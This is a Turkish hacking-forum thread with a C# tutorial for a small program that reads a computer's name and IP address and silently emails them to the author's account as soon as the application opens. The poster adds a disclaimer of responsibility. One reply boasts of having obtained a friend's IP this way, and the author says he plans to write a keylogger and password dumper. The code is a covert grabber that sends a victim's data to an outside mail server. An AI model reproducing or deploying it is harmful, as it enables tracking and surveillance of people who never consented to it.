[TUTORIAL] C# PC IP Adresi Ve İsmi Bulma Ve Mail İle Gönderme

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
Öncelikle Merhaba Arkadaşlar Bugün Sizlere Güzel Bir Konu Paylaşacağım.
AMA BEN BURADA SADECE ÖĞRETİYORUM KULLANIMI DAHİLİNDE SORUMLUSU BEN DEĞİLİM !
Şimdi öncelikle projenin Using kısmına şunları ekliyoruz.
C#:
using System.Net;
using System.Net.Mail;

Şimdi ise void olarak SendMail adında bir Method oluşturuyoruz.
ve içine bunları ekliyoruz.
C#:
            var PcName = Dns.GetHostName();//PC Adını Alıyoruz
            MailMessage msg = new MailMessage();//Göndereceğimiz Mesaj İle İlgili
            SmtpClient client = new SmtpClient();//Mesajımızın ayarları ve Göndermek için lazım.
            client.EnableSsl = true; //Gönderilen Mesajın Şifrelenmesini Sağlıyor true Olmazsa Çalışmaz.
Devamıdan ise bunları:
C#:
            //Buraya birinci tırnak içine mail adresinizi ikinci parantez içine mail şifrenizi giriyorsunuz
            client.Credentials = new System.Net.NetworkCredential("example@example.com", "passwd123");
           
            //Burası önemli eğer eğer üstteki mail adresimiz outlook ise "smtp.live.com" yazıyoruz.
            //Eğer gmail ise "smtp.gmail.com" yazıyoruz.
            client.Host = "smtp.example.com";
           
            //Bu böle kalsın bu smtp haberleşme portu.
            client.Port = 587;
           
            //Burada PC nin IP adresini alıyoruz.
            var address = Dns.GetHostByName(PcName).AddressList[0].ToString();
           
            //Mailin başlığını ayarlıyoruz ben böyle yaptım ve başlığa PC isim yazdırdım.
            msg.Subject = "PC Name - " + PcName;

            //Mail'in ana mesaj bölümüne ise IP adresini yazdırdım.
            msg.Body = address;

            //Burada Mesajın kimden geldiğini belirtiyoruz.
            msg.From = new MailAddress("example@example.com");
           
            //Burası mesajın yollanacak olan mail
            msg.To.Add("example@example.com");
           
            //burada artık mesajı yolluyoruz
            client.Send(msg);
SendMail method unuda form1_load ta kullanırsanız uygulama açılır açılmaz mesaj gelecektir.

Tekrar söylüyorum sorumluluk bende değildir.
Türkiye'de biligi paylaşımı çoz az. Herkes parayı veren düdüğü çalar kafasında.
Emeğe saygı bi Beğeni alırım
 
omertrans505
Efsane Üye
Katılım
17 Ara 2016
Mesajlar
3,223
Çözümler
63
Tepki puanı
362
Ödüller
13
Sosyal
9 HİZMET YILI
Konunun güzel bir anlatımı olmuş. Yararlı için teşekkürler
 
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
Ben bu forum işini sevdim haaa ✓
 
TheJoker
Onaylı Üye
Katılım
18 Ocak 2019
Mesajlar
51
Tepki puanı
1
Ödüller
6
Yaş
23
7 HİZMET YILI
pek anlamıyorum aama faydalkı bilgiye benziyor teşekkürler
 
Seçkin Üye
Katılım
1 Nis 2018
Mesajlar
479
Tepki puanı
22
Ödüller
8
Yaş
21
8 HİZMET YILI
Pek anladığım bi konu değil ama yararlı bi şey saol
 
Üye
Katılım
7 Eyl 2019
Mesajlar
45
Tepki puanı
1
Ödüller
2
Yaş
30
6 HİZMET YILI
Cok sagol Gercekten arkadasimin ip si wlimde lol
 
Onaylı Üye
Katılım
28 Eki 2020
Mesajlar
53
Tepki puanı
1
Ödüller
3
Yaş
26
5 HİZMET YILI
Bunu forumdaki bir arkadaşıma ileteceğim, çok güzel
 
Banlı Üye
Katılım
13 Eki 2020
Mesajlar
63
Tepki puanı
5
Yaş
31
5 HİZMET YILI
yakında ss alan , keyloggerı olan , belki şifreleri dumplayan , belki sese kaydı alan bi program yazmak istiyorum ama onu paylaşırmıyım bilmiyorum.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...